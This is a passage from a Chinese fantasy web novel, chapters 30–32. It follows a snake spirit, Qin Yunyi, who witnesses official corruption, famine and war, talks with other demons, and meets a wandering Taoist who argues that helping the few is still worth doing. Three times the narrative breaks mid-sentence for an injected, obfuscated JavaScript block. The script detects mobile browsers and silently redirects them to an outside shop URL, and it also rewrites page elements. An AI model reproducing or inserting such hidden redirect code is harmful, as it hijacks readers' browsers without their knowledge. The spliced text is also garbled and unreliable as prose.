秦云意思索着,试图去用这句话安慰自己。刚开始他以为,这城小人少的地方或许民风要更加淳朴些,官吏也会收敛些。可事实呢?这平陶的县令比曲阳的更贪!盘剥更狠!衙役更跋扈——难道真是城越小,天高皇帝远,作恶便越无忌惮? “那若去大些的城池呢?那里律法更完备,官员更有顾忌,总该……有所不同吧?” 带着这份几乎算是自我安慰的疑问,秦云意继续向南飞去。 30. 云游四方② 这次,他来到了一个稍大点的城池,城池的名字叫——肥邑。 晨雾初散时,肥邑城的轮廓开始从地平线上浮现——这确是一座大城,城墙高达四丈有余,垛口整齐如齿,护城河则宽约三丈,有水缓流,还有兵甲站在门前,。只不过……这肥邑城盘查极为严格,进城者不仅要核验路引,还需缴纳一笔不菲的“城门税”。 “……军爷,行行好,我,我这行就进城卖两捆柴……这城门税,我实在交不起啊!” 天还未完全亮,城门外早已排起了长龙。其中,一个头发花白的老樵夫佝偻着背,正苦苦哀求着面前挎着腰刀的兵卒。 “没钱就滚!在这里废话做什么?下一个!” 兵卒丝毫没有领情,他一脚踢中了老樵夫的篓子,哗啦啦,大大小小的柴火顺势掉了下去,散落在路边,被向前走去的人流踩过,压断了枝。 老樵夫没说什么,他只是踉跄着向后退,然后蹲在地上,弯下腰捡柴火,捡完之后,秦云意听见他呜咽了几声,然后转头离开了,就像刚刚什么都没有发生过一样。 “下一个!”兵卒的叫声传来——原来是到了秦云意了。 “你,路引!” 轮到秦云意时,兵卒扫了眼他的布衣,极为不耐烦伸了伸手,紧接着,秦云意递上了他刚幻化出来的路引。 “哦……曲阳来的,那货呢?” 兵卒盯着路引看了看,又抬眼打量了一下秦云意的脸。 “途中遇匪,遭劫了。”还是那个熟悉的理由。 “遇匪?”兵卒嗤笑一声,“都这样了,那你还进城作甚?” “投奔亲戚。”秦云意垂下眼说道。 兵卒显然不信这套说辞,但他也没深究,毕竟这每日进城者动则成百上千,只要那路引看着没问题,税钱给足,他才懒得节外生枝。 “进城税,四十文。”他伸出粗糙的手掌,手向秦云意勾了勾。 四十文……要知道,在平陶只要十文,在曲阳甚至压根就不收。 秦云意没说什么,他只是从怀中摸出钱袋,数出四十个幻化成的铜板递了过去,那兵卒掂了掂,发现重量确实对版,这才挥手放行。 秦云意走进了肥邑城,说实在的,这肥邑,和曲阳还有平陶城确实不太一样:主街宽阔、敞亮,干净,到处都是鳞次栉比的商铺,虽还未完全到开张的时辰,但早已灯火通明,人流不断,什么绸缎庄、酒楼、青楼、古玩店……招牌在灯笼映照下显得光鲜至极。 秦云意漫无目的地向前逛着,路上,随着越往中心城去,行人也渐渐多了起来——穿绸衫的、摇折扇的,提鸟笼的,穿长袍的,梳发髻的,裙接地的……所有这些人都衣冠整洁,步履从容,神情闲适,外貌也胜普通民众三分。偶尔会有一两个挑着早菜进城的农人擦肩而过,和这些公子小姐老爷相比,他们衣衫褴褛,低着脑袋,打着赤脚,只是格格不入地快步向前走着。 秦云意没有停下,仍然继续向前走着,他漫无目的地走,一直走向城中心的区域,这儿的景色跟之前相比更加繁华,酒楼、青楼也渐次增多,有些甚至听说彻夜未熄灯。 最终,秦云意在城中心最繁华的十字街口停下。 在他的正对面,是一座巍然矗立的三层木楼,飞檐斗拱,雕梁画栋,而在那正门上方,黑底金字的匾额上正书写着三个大字—— 天仙楼。 秦云意走向街对面,在小巷的阴影里站了片刻,目光扫过这楼气派的门面,在确认四下无人后,便作一道淡影,落在这天仙楼最高处的瓦顶上——这里是肥邑最繁华的去处,尤其是在三楼那个名叫“听涛阁”的雅间,这雅间四壁挂着名家字画,一张巨大的紫檀圆桌摆在正中,桌上珍馐罗列,觥筹交错,雾气蒸腾…… “李参军放心!您要的那批军粮,赵某早已备妥,赵某向您保证,绝对足额足量,这可都是上等新米!” 里面有声音传来。 “呵呵,赵老板办事,本官自是放心的……如今国事艰难,前线将士浴血,后方粮秣供应乃是重中之重。赵老板深明大义,鼎力相助,这份功劳,郡守大人定会记在心上!” 被称作“李参军”的那个人笑道,此人四十出头,面白微须,只是面相不好,恐有反骨。 “不敢不敢,为国效力,分内之事!” 那个被叫做赵老爷的人连忙拱手,随后,秦云意看见他使了个眼色,那旁边侍立的心腹立刻心领神会,他捧上一个精巧的木匣,轻轻放在了李参军手边。 李参军抬起手,自然地把手搭在了匣盖上,然后偷偷地用指甲盖将它开启了一道缝,定睛一看后,他的笑容又加深了几分。 “那,李参军,那盐引的事……”赵老爷试探着问。 “好说,好说。”李参军抿了口酒。 “如今各处都紧,实在有点难以应付,不过嘛……赵老板乃有功之人,既然如此,本官回去便为你斡旋一下,只是这上下打点……”他眼珠子转了转。 “明白!明白!行内的规矩,赵某都懂!绝不让参军为难!”赵老板连忙点头。 之后,雅间内笑语更浓了,丝竹声隐隐相和,可在这天仙楼后院,却是另一番天地…… 和雅间的奢靡之气相比,在醉仙楼后院,在那冰冷潮湿的柴房旁,还有几个负责劈柴挑水的杂役待在那里,他们也在吃饭,只是不同那些老板,他们衣衫单薄破旧,此时正围坐在一口水井边,就着冷水,啃着手中硬如石头的杂粮饼子。 “切,前头山珍海味,咱们啥都吃不到,在这儿喝西北风啃石头!这世道……”一个年轻些的杂役低低骂了几句。 “嘘,莫要让管事的听见,否则,这月的工钱就别想了!现在能有口吃的,饿不死,咱们就等着烧高香吧!” …… 秦云意静静立在屋顶,“天下乌鸦一般黑。”他想起了这句俗语。 不过……一般黑?不,或许不对,这肥邑的“乌鸦”,明显比其他的地方还要更聪明,它们懂得利用律法,懂得使用道义,懂得装饰自己,还懂得在蚕食别人时始终保持优雅的姿态…… 可说到底,他们的本质,最终并无不同。 秦云意化为人形,拢了拢耳旁的秀发,接着,他再次腾飞而起,这次,他坚定不移地朝着东南方向飞去。 他想飞入周三提到的宋国故地,飞去那如今被齐、楚、魏三国反复争夺的混乱地带,去看看边境地区,真正的乱世,是否和别的地方又是不同的场景。 乱世……会出现“奇迹”吗?还没等秦云意思考完毕,这映入眼帘的第一幅景象,就已经开始让他心头骤紧: 在他视野所及之处,根本就没有活人……这和之前的景象又有什么区别呢? 秦云意不打算认命,它继续开始飞去,直到最后,他终于看到了“人”——在一处山坡背风处。那儿有几十个衣衫褴褛、瘦骨嶙峋的人蜷缩在一起,像一群受惊的鹌鹑般,每个人手里都紧紧抓着一小块黑乎乎的东西在嚼着,嚼的艰难,但最后还是囫囵地咽了下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153455|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这是树皮?还是草根?太远了,秦云意看不见,直到再靠近一点,才看见在他们中间燃着一小堆微弱的篝火,火上还架着个破瓦罐,里面煮着形似呕吐物般的糊状物——他们就吃这个,这连山野精怪都不愿意尝试的粗石草根白土,全被他们揉在了一起,最后炖成了一锅吃食,还要分给几十人吃…… …… 秦云意有点不忍看下去了,它加快速度,继续向前飞。他来到一条河边,正看见两伙流民正在厮杀,却不为金银财宝,只为河滩几丛新鲜芦苇根,他们用石头、木棍、牙齿扑咬,如野兽般撕打,最后,那胜者抢到芦苇根,只是迫不及待塞入口中,连血污泥沙都来不及吐…… 类似的景象竟然遍地皆是。 像什么山贼闯入民屋厮杀,穷苦百姓互相吞食,孩子无食活活饿死,等等等等,遍地都是狼藉,而那原本应该是透明澄澈的河水,也已经被人的尸首和血液给染红了,貌似是因为上游的齐魏两军大战,那尸积如山,尸体全部掉落在水里,染透了水,像血,像浆液…… 饥荒……战争……瘟疫…… 秦云意注视着下方一幕幕惨剧,只感觉心中有什么东西突然“咔嚓”一声碎了一下,那座由仁义礼智信组成的信念,仿佛如海市蜃楼般,慢慢地开始失散、崩塌了。 这就是人间?这就是之前夏商周时期,那些在圣贤典籍里所描绘的礼乐昌明的世界?这些玩意,就是他曾经感到好奇,想要理解,甚至一度试图去帮助的“人”? 他们配吗? 人间不过丛林,弱肉强食,如此赤裸彻底!明明是人,却无王法,无道德,无廉耻,只剩最原始野蛮的生存欲望:杀戮同类,摧残弱者,毁灭村庄——这些暴行,明明早就已经超出生存必需,纯粹是自身贪婪,欲望,与残忍的兽行宣泄! 这就是人性? 秦云意闭上眼睛,之后,他再次睁眼,强迫自己继续看下去。 终于,在无边黑暗与血色中,他终于看见了光。 孩子啊,孩子是一切! 在一座半塌的土屋屋檐下,一个年轻的母亲,她正在抱着婴儿,虽然她很疲惫,但此刻,在炮火连天的响声中,她依然哼着温柔的摇篮曲,那孩子在她怀里沉沉睡去,丝毫没有受到惊吓,脸上只有幸福。 除了这个,还有呢? 庄稼,田地是一切。 在一个隐蔽的山谷里,那儿却依然长着金黄、嫩绿的菜苗,其中有一个老农正佝偻着背,一遍又一遍地用破瓦罐从远处小溪取水、浇灌,不厌其烦,脸上洋溢着幸福——他一点都不累。 那,还有呢? 当然,教育,教育是一切。 在一处破败得只剩框架的土地庙里,那儿坐着一个须发皆白的老者,身边围着四五个面黄肌瘦,可眼睛却亮得惊人的孩子。此刻,老者正用沙哑的声音,幽幽地讲述着历史,讲述者着那些连他都很少耳闻的古老传说。 “听说……那大禹王啊,为了治水,三过家门而不入……”他缓缓地开口,这群孩子们听得入神,竟然暂时忘记了饥饿和恐惧。 …… 他应当是为了这些人而存在,可是,光凭自己去拯救这些人,光凭这些渺小的光亮,真的能照亮这片沉沉的黑夜吗?真的能去改变这血腥的世道吗? 秦云意默默地看着,随后,他降落到一处荒山的山顶,化为了人形,他手中不自觉握紧,尖锐的指甲戳穿了血肉,留下一洄洄鲜艳的血珠。 他分不清,他不知道。 31. 道士三言·其一 秦云意就这样漫无目的地游荡了半月有余。 在春中,燕赵终于开始进行了大规模的杀伐,你来我往,其惨烈度丝毫不亚于先前与秦的长平之战,他一路过去,所见尽是疮痍,所闻皆是悲声,人命如草芥,公道似云烟,秦云意如今才知,之前自己在曲阳城里的“小摩擦”,那不过是乱世的一角缩影罢了,小的不能再小,小的几乎可以说忽略不计…… 他抬起头,振翅,继续飞越破碎的山河。 在旅行的过程中,他偶尔还能在深山中听见其他妖类精怪的低语声——他想起来白山,又想起了自己的同伴了。 于是随着时间的推移,秦云意心中那股难以排遣的孤寂愈发做甚,之后,当它再次感知到熟悉的妖类气息时,他干脆落下云头,去拜访了山泽中的妖族聚居之地,以此作为慰藉。 这是一处花草肥美的水泽山。在这里,这些妖怪有的已修行数百年,灵智全开,有的则仍带着兽性,浑浑噩噩。但无论修行深浅,除了某些吃人的妖兽以外,它们大多安守在自己的山林洞府之中,鲜少涉足人世。待秦云意问起缘由,他所得到的回答竟出奇地一致: “人间的事?我等妖怪管它作甚!” 狌狌,一只似猴似猿的妖,它长着白色的耳朵,此刻它正无聊地揪着树上的果实,一边吃,一边挠着身上的痒。见秦云意问道缘由,它只是懒洋洋地抬眼看了看,随即又继续做自己的事来。 “我想,您……也是一方山君吧?您不知道吗?那些人类杀来杀去,争来争去——又关我们什么事?我们自有我们的山林,有我们的日月精华可吸,有我们的逍遥日子可过。您说说,我们有必要去管他们吗?”最后,他终于开口了,他的语速很快。 一旁的夫诸看了过来。 “山君。”她平静地颔首,她也已活了百年有余。 “山君可知,人间的因果,最是纠缠难解……你今日救一人,明日可能就要为他杀十人,你今日行一善,明日或许就招来百倍的孽……如今,我们修我们妖族的道,求我们的长生,若能飞升自是最好,若不能……” 她的眼睛看向远方。 “若不能,死了便罢……但若是有限的生命里能在山间快活,那也足矣了。”她淡淡地说。 “我……”秦云意感觉有什么东西卡在了喉咙里。 “山君,你可知那些道士为何总盯着人间?”夫诸缓缓扭过头来,这次换作她来询问秦云意了。 “因为……人间是他们划定的‘道场’,你在那儿行事,便得守他们的规矩——救人是善,杀人是恶,行差踏错半步,便是妖孽……”秦云意回答道,他低下头。 “所以啊,聪明的妖族都足不出户,只守着自家山头,那群道士,打得过便打,打不过……要么逃,要么认栽……总好过我们在人间束手束脚,还要时时担惊受怕。” 狌狌继续补充道。 在一旁,一群尚未开灵智,只懂享受的妖鬼,见秦云意脸色凝重,也都好奇地围了过来,你一言我一句地插嘴: “成仙?那多累啊,我们没这机会,也不想干!当人?那多苦啊,不仅要担因果,还要担惊受怕——你!你看我们,我们饿了摘山果,渴了饮清泉,困了卧石眠,闲了逐蝶戏……”它们叽叽喳喳地说道。 “无论如何,妖类的生命,终究还是有限的——那在这有限的寿命里,我们吃好喝好玩好乐好,不就行了嘛?” 看着这些同族在山林间或修炼,或嬉游,或沉睡的安然模样,秦云意彻底沉默了。 或许……它们才是对的。 作为妖怪,妖,就应该坚守在自己的位子上。那妖类就该远离这污浊红尘,在山中逍遥,寻求自己的长生和超脱,而不是像自己这个另类:傻傻地修练成人,傻傻地跑去人间,寻什么古籍里人们所说的虚无缥缈的“道”,还去管什么永远理不清的闲事,最后只落得一身伤痕,一身痛苦,满心迷茫。连人都做不好的事情,它怎么还能做成呢? 秦云意开始动摇了。 之后,他问询了周围山的名字、里面居住的动物的习性、特征,偶尔,他还主动拜访了几位有名的大妖,并默默地记下了这些“同族们”所有的模样与话语。 “那么,山君还需要继续向前走么?”一只蛮蛮问道。 “……嗯,或许,可能是最后一次吧……” 秦云意转过身,告别了诸位,再次振翅飞入那苍穹。只不过,他的心情远比来时更加沉重。 他就这样漫无目的地飞着,飞过破碎的山河,飞过燃烧的村庄,飞过逃难的人群……路途所见愈多,他心中那股曾经“想要做些什么”的冲动,就愈发显得它徒劳而又可笑。 可笑…… 一日黄昏,他飞临一处两山夹峙的险峻河谷。 还是那股触目惊心的场景——这里是燕赵交界的最后一道屏障,刚刚经历过一场惨烈厮杀,听说,是那赵军的偏师在此阻击南下的燕军先锋,你来我往,杀得天昏地暗,谁胜谁败最后已经不重要了,唯一清楚的是双方死伤惨重,尸骸堆积如山,把整条河谷都变成了巨大的坟场,天空上,成群的乌鸦与秃鹫在低空盘旋,发出刺耳的“嘎嘎”声,时不时俯冲下去,啄食死人,啄食腐肉…… 当然,这里还有妖怪们。 其中,在那啄食腐肉的队伍里,有些是道行浅薄、灵智未开的小妖。它们平日里躲在深山,啃野果,吸灵气,偶尔捕猎野兽,如今闻到这冲天的血气,便偷偷摸下来,趁着夜色掩护,和那天空中的鸟儿一同吃血肉,为了填饱肚子,也为了助长……修为。 弱肉强食,天地至理。 “如此……惨烈……” 秦云意闭上眼睛,正欲转身离开这令人窒息的地方,忽然,他敏锐的听觉捕捉到了一丝异样——在震耳的鸦啼,精怪的咀嚼声中,似乎还夹杂着断断续续的……人类的呻吟。 有活人? 他化为人形,悄无声息地走向气息来源,终于,在一处遍布尸体,遍布破损战车的岩石缝隙里,他找到了他: 那是个赵国的士兵,很年轻,看起来不到二十岁,脸上还带着未脱的稚气,只是……他腹部被长矛刺穿,伤口溃烂,高烧使他神志不清,嘴里还喃喃念叨着“娘……水……”之类的话语。显然,他是被遗弃在这里等死的,不是遗弃,也是放弃。 秦云意站在他面前,沉默地盯着他。 救,还是不救? 年轻士兵仿佛是感知到了些什么,他无意识地伸出手,五指在布满血污的岩石上徒劳地抓挠,直到指甲折断,流出汨汨鲜血。 秦云意纠结了许久。 最终,他还是选择蹲下身,用指尖缓缓凝起一丝细微的妖力——他选择了治他,这力量虽不能起死回生,但可以暂时抑制伤口的溃烂,缓解些许痛苦,带来一点清凉,或许……这也能当作一个毒物,能让他走得稍微安详些……罢。 秦云意将手伸向他。可就在此时,一个温和的声音突然在他的身后响起。 “施主慈悲。” 秦云意心中一惊,身上若隐若现的鳞片几乎要全部炸开——他竟然完全没有察觉到有人靠近,什么气息,脚步声,什么都没有。 秦云意猛地转过身去,同时身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153456|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形向后急退数丈,那双红色、冰冷的竖瞳正死死地盯着来者。 来者是一个道士,还好,不是之前那个青袍道人。 此道士约莫五十许年纪,面容清癯,肤色微黑,像是常年经受风吹日晒。他穿着一身洗得发白的蓝色旧道袍,多处打着补丁,脚下是一双磨得几乎见底的麻鞋,背上负着竹篓,手里拄木棍……乍一看去,这就是个最寻常不过的游方郎中或者采药道人,没什么特别的,哪怕是混在逃难人群里,估计都不会有人多看一眼。 但秦云意丝毫不敢大意。 “道长……别来无恙。” 秦云意谨慎开口道,仿佛下一秒,他就能随时准备应对道士的进攻。 可蓝袍道士没管他,秦云意看见他叹了口气,径直走到那年轻士兵身边,蹲下查看,接着他动作熟练地翻开竹篓,取出几味草药,再用随身水囊的水调成糊状,轻轻敷在士兵的伤口上。 “贯穿伤,伤口在左腹偏下……嗯,肠腑应该受损了,瞧这溃烂的颜色,毒热已侵内腑。失血过多,又受了风寒,能撑到现在,唉,也是命硬,心志比常人坚韧些……” 道士一边施救,一边低声自语,仿佛在跟秦云意说话,又像是在跟自己交代什么事情。之后,他又从怀里摸出一个小布包,里面是几根长短不一的银针,针身有些发暗,显然已经用了很久。 “……幸好没伤到要害腑器,只是肠子破了,毒血内渗。这几针,暂且封住几个要穴,止住毒血继续扩散,再激发他本身一点残存的生机……” 他将银针刺向士兵的穴位,每下一针,那年轻士兵紧绷的身体就会微微放松一分,急促痛苦的呼吸也稍稍缓和了许多。 “可惜,贫道医术有限,草药不全,只能暂且稳住生机,延缓几日,至于能否活命,还是要看他造化了……” 他语气平和,动作轻柔,看向士兵的眼神中带着一丝悲悯。 秦云意静静看着这一切,心中的戒备虽未完全放下,但至少缓了许多。 这道士……似乎真的只是来救人的。 “道长慈悲。”秦云意缓缓开口,语气仍带着试探。 那道士正低头给士兵喂一点清水,闻言,只是抬头看了他一眼,那双眼睛很老,却很清澈,仿佛能洞彻人心。 “慈悲谈不上。”道士摇摇头,声音依旧温和。 “贫道……只是路过,看见了,便伸把手。在这乱世里,能活一个是一个,就像……就像施主方才想做的一样。” 秦云意挑起眉,“自己刚刚想做的一样?”他想。 那道士却看了他一眼,不再多言,只是低头继续照料士兵。半晌,在将士兵安顿得稍好一些后,他又从竹篓里拿出一件破旧但干净的麻布外袍,盖在士兵身上,然后才站起身,拍了拍道袍下摆沾上的泥土和血渍。 “施主,此处血气冲天,尸秽弥漫,久留伤身,更易引动心中戾气……前方往东约十里,有个破败的山神庙,虽然荒废,尚能遮风挡雨,贫道来时曾在那里歇过脚,还留了些干柴。”道士看向秦云意,缓缓开口道。 “施主……若之后暂无急事,不妨随贫道去那里稍坐?贫道随身带了些粗茶,虽劣,也能解渴驱寒。” 他的邀请很自然,语气平和,就像寻常路遇。 秦云意看着他那双平静的眼睛,又看了看地上呼吸渐渐平稳的年轻士兵——这里已经没有什么他要做的了。 秦云意沉默片刻,最终,他还是点了点头。 “那……便有劳道长了。” 之后,两人一前一后,离开了这片血腥弥漫的死亡河谷。 32. 道士三言·其二 两人相顾无言,一同走在山路上。那道士拄着木棍,步履蹒跚,走在了秦云意的前面,不时还往后看一下,确认对方是否有意跟上来,而秦云意只是默默跟在后面,他一声也不吭,心中遍布疑云: 这道士,他究竟是谁?他又从哪来? 他为何又会出现在这战场废墟上?这里明明不是常人来的地方。 他明明看穿了自己是妖,为何不揭穿,不动手,反而如此平和? 现在,他还邀请自己去山神庙,真的只是喝口茶?还是别有图谋? 难道真的有诈? 秦云意心中一片杂乱。 之后,十里山路,两人一言不发,就这样在沉默中走完。 直到在一处背风的山腰凹陷处,秦云意终于向前望去,见到了道士口中那座破败的山神庙:这庙很小,不过一间半塌的土屋大小,里面的神像早就没了,只留有一个光秃秃的石龛独自伫立在那里,一动也不动,偶尔还有风吹着庙宇,发出“呼、呼”的巨响。 这就是山神庙了,两人一齐走了进去。 “施主请坐。”道士指着被团成一团的草垛,向秦云意抬手示意道。 秦云意微微点头。 那道士,他说完,倒也没忙慌着坐,而是放下竹篓和木棍,走到墙角,熟练地抽出几根干柴,在庙中央空地上搭起了一个小柴堆。接着,他又从怀里摸出几颗火石,“咔嚓”几下点燃火绒,准备引燃火焰。 “嘭啦”……火终于被点燃了。 随后,那蓝衣道士转过身去,取走在墙角放置着的瓦罐,他将瓦罐架在火上,添满水,又从身上的旧竹篓里摸出一个小布包,把里面黑褐色碎末的粗茶捏了一小撮,撒进了热水里,咕噜噜地直冒泡,直到水沸后,道士才用陶碗盛了一碗茶汤,递给秦云意。 “山野之地,只有这些粗物,施主莫嫌。”他笑着说。 秦云意双手接过,道了声谢,随后他吹了吹,小心地品尝了一口,这茶……味道确实粗劣,涩味很重。 …… 半个钟头过去了,两人就这样围着小小的火堆,依旧一言不发,相对而坐,直到天色彻底暗了下来。 沉默在蔓延。 自始自终,那道士只是安静地喝着茶,目光落在跳跃的火苗上,神情平和,仿佛在享受这片刻的安宁。而秦云意则待在一旁,心烦意乱,他一边借喝茶的间隙,一边还暗中观察着对方,心中始终悬着一口气—— 他有什么目的? 良久,直到一碗粗茶快要见底,那蓝袍道士终于搁下了手中的陶碗,像是看出来秦云意的疑惑,目光平静地看向他。 “施主……非是凡人。”他说道。 秦云意端着陶碗的手颤了颤。 终于,这该来的,终究还是来了。 话音未落,秦云意就放下陶碗,正式迎上道士的目光,他站了起来,眼睛重新变幻为蛇类动物的竖瞳,手中暗流涌动,像是做好了反击的准备。 “施主请坐,不必紧张,贫道并无恶意。” 面对秦云意的反应,那道士只是温和地抬手虚按,示意他放松,除此之外,他什么也没做。 秦云意没动,眼睛依旧紧盯着对方。 “唉……施主……” 道士看着他这副如临大敌的模样,轻轻叹了口气,脸上带着些许无奈。 “要说贫道,也曾云游四方数十载,踏遍七国山川,足迹所至,人迹罕至之处亦曾探访。故这山野之间,红尘之外,贫道所见过的非人之物……确也不少……”他的声音平缓,像是在陈述一件再寻常不过的事。 “哦?”秦云意打断他的话。 “那么,在道长看来,妖……究竟为何物?是那该当斩尽杀绝的祸患,还是——炼丹制药的‘材料’呢?” 他这话问得真是刺人。 “妖便是妖,正如人便是人,兽便是兽……天地化生,各有其类,此乃自然……” 道士闻言,却并未因他话语中的刺而感到不悦,他只是缓缓摇了摇头,口中的句子慢慢蹦了出来。 “然而,即便是这‘万物之灵’的人族之中……披着人皮冠冕、行径之酷烈,心思之歹毒,远甚于寻常妖魔者,贫道……亦见得多了。”他抬眼望着秦云意。 披着人皮,行径比妖魔更甚者,亦屡见不鲜…… 秦云意低着头,心中默念着这句话,他看见那道士端起茶,轻轻吹了吹,喝了一下,随后继续开口: “故而……贫道看人、看事、看这世间万物,向来不拘泥于皮囊出身,不执着于种族门户之见,只看本心行迹。心正,则妖亦可为友,行恶,则人亦同妖魔。而施主身上妖气精纯,却隐有清气缠绕,似是受过正统香火熏陶?如若不是,其清正之气,也是纯正。” 秦云意沉默着坐下。 这道士,他说的都对。 “譬如,方才在河谷,施主对那垂死兵卒,虽有一瞬犹豫,最终仍有恻隐援手之举……要知道,此等心性,在妖类之中殊为难得,便是在人族之中,亦属可贵……” 他点了点头,像是对秦云意的所作所为表示了认可。 “道长……”秦云意终于苦笑着开口了,“那道长……不惧妖物?” “惧?”道士像是听到了什么有趣的问题,他笑着摆了摆手。 “要知道,天地生灵,各有其道,那妖族修行,亦属天道循环,只要其持身以正,不滥杀,不悖天和,有何可惧?至于那惧……” 他将陶碗放在膝上,郑重其事地看向秦云意。 “贫道所惧、所恶者,不是妖,而是恶,是那些失了本心,堕入魔道,以戕害生灵为乐的孽障。无论其出身是人,是妖,是鬼——恶便是恶,与皮囊无关。” 与皮囊无关……那他,和之前那青袍道士,嘴里嚷嚷着“非我族类其心必异”的家伙,似乎……不太一样……? 秦云意听了他的话,稍稍地送了一口气。可他没想到的是,那道士话锋一转,又继续开口了: “就像,施主此前在曲阳所为——暗中追查邪物,救下被掳妇孺……虽是妖身,行的却是除魔卫道之举。这份行迹,相比许多尸位素餐、见利忘义的人类,还要更近‘道’之本义……” …… !? 曲阳……邪物……这道士,他怎么会知道?!莫非,这家伙一直在暗中监视自己?! 他是什么人?!难道……他就是梦中的那些……?! 秦云意瞬间绷紧神经,他瞪向道士,眼神流露出了彻彻底底的狠意。 “道长……此话何故?”他竖立瞳孔。 没想到,那道士似乎早料到自己会有此反应,对方摆了摆手,什么都没动,依旧是那副平和的模样。 “施主不必惊疑,贫道并非刻意探查跟踪于你,你看——贫道这副行头,这副尊容,像是能做那种精细活计的人么?”他自嘲地指向自己。 “若问缘由……那就得说道前些日子,那时贫道云游路过曲阳附近,却察觉那一片地域气机有异——貌似既有阴邪血气盘踞作祟的痕迹,又有微弱却清正的妖气与之争斗周旋,而贫道恰巧略通风水卜算之道,便随手起了一卦,推演之下,略知一二大概——知有那邪徒炼丹害人,亦知有山中清修正与之对抗,并救下无辜。至于施主具体形貌身份……贫道当时并未深究,亦无意深究,只是今日在此偶遇,观施主气息,与当日所感那股清正妖气相合,这才将两件事联系起来。”他解释道。 听完解释,秦云意心中稍安,但仍未完全放下警惕。 “施主不必多虑。”这蓝袍道士仿佛能读出他心中所想,再次温声开口,“贫道此次邀你前来,并无恶意,亦非有所图谋。只是见施主心性难得,又似乎……心怀迷茫,故想与施主聊聊,若施主觉得不妥,随时可以离开,贫道绝不相拦。” 他说得坦荡,眼神清明,身上确实不见丝毫虚伪或算计。 秦云意沉默了片刻,待体内奔涌的妖力渐渐平复,后他重新端起那碗已微凉的茶,喝了一口。 “那……道长云游四方,所见,皆是这般景象吗?” 他放下碗,指了指庙门外无边的黑暗,意指这一路所见的破碎山河、遍地哀鸿。 道士沉默了,火光照在他的脸上,把他的脸染的橙红,直到良久,他才轻轻叹了口气。 “乱世如此,非一日之寒,亦非一人之过……”他的声音低了许多。 “要说这七国相争,权贵倾轧,将领争功,官吏贪腐,层层盘剥,步步紧逼。最后苦的,终究是最底层的百姓——兴,百姓苦,亡,百姓苦——自古皆然啊……” 他收回看向庙外的目光。 “贫道……说来说去,只是一介散修。无门无派,无权无势,更无扭转乾坤之能,只是读几卷道经,懂一点医术,会些粗浅法术……故回天无力,只能尽己所能,救一个是一个,治一处是一处,若能多活一人,便是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153457|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份功德,能少些痛苦,便……也是一丝安慰。” “那,救得过来吗?”秦云意的声音疲惫而无力。 “今日道长在此救下一个伤兵,明日或许就有十个、百个死在别处。道长自己也说了,无力回天,那既知如此,为何还要……徒劳?” 他问出了自己心中最大的困惑,也是最大的痛苦——如果他秦云意,自始自终所做的一切努力终归是徒劳,如果那黑暗无边无际,就只靠一点微弱的善行,那他所做的一切,又究竟有什么意义?! 道士闻毕,没有立刻回答,只是伸出手,将一根快要熄灭的柴火轻轻拨进火堆中心,看着它重新被引燃,冒出一盏全新的,亮丽的火苗。 “救不救得过来,是一回事。而救不救,则是另一回事了。”他盯着火焰,慢慢地说道。 “另一回事?”秦云意怔住了。 “——天道茫茫,世事如潮。人力有时而穷,此乃常理,但若因‘救不过来’便‘不去救’,施主想想,那这与那些见死不救、袖手旁观者,又有何异?与那些推波助澜、甚至亲手制造悲剧者,差距又有多大呢?”道士端起陶碗,饮尽最后一点茶汤。 “人间俗话说,‘尺有所短,寸有所长’,若世间真的有‘尺’来衡量,那贫道这‘尺’,或许很短,量不了天下大势,救不了万民苍,但量一量眼前能见的不平,救一救伸手能够到的苦难,总还是可以的吧?” 尺有所短,寸有所长……秦云意喃喃重复着这八个字。 道士看着他眼中复杂的神色,继续温和着缓缓开口了: “贫道见施主,似乎……也在苦苦寻找自己的‘尺’?或许在曲阳城中,你曾尝试以人间法度、以官场规则为尺,去丈量是非,去寻求公道,却受挫于官场龌龊,权钱勾结,尺未立而先折。之后,施主离开了曲阳,游历四方,见遍四周黑暗血腥,又感自身渺小如蝼蚁,大道无凭,尺无所依……是么?” 秦云意默然。 “其实,施主最后又何必执着于,自己一定要找到一把能丈量整个天下的尺呢?要知道,每个人的缘法不同,际遇各异,那手中的‘尺’,长度不同,材质亦不相同。”那道士继续说。 “比如……?” “比如,有人之尺,长于庙堂,可定国策,量天下利弊,如古之贤相良臣。”道长神色凝重。 “而有人之尺,精于市井,可通有无,量民生百态,如诚贾义商。” “还有人之尺,锐于刀兵,可护一方,量疆土安危,如善战之将……” 他顿了顿,把目光重新落回在秦云意身上。 “便是那妖类修行,亦有妖类的‘尺’,施主这些,想必也是清楚的吧?” 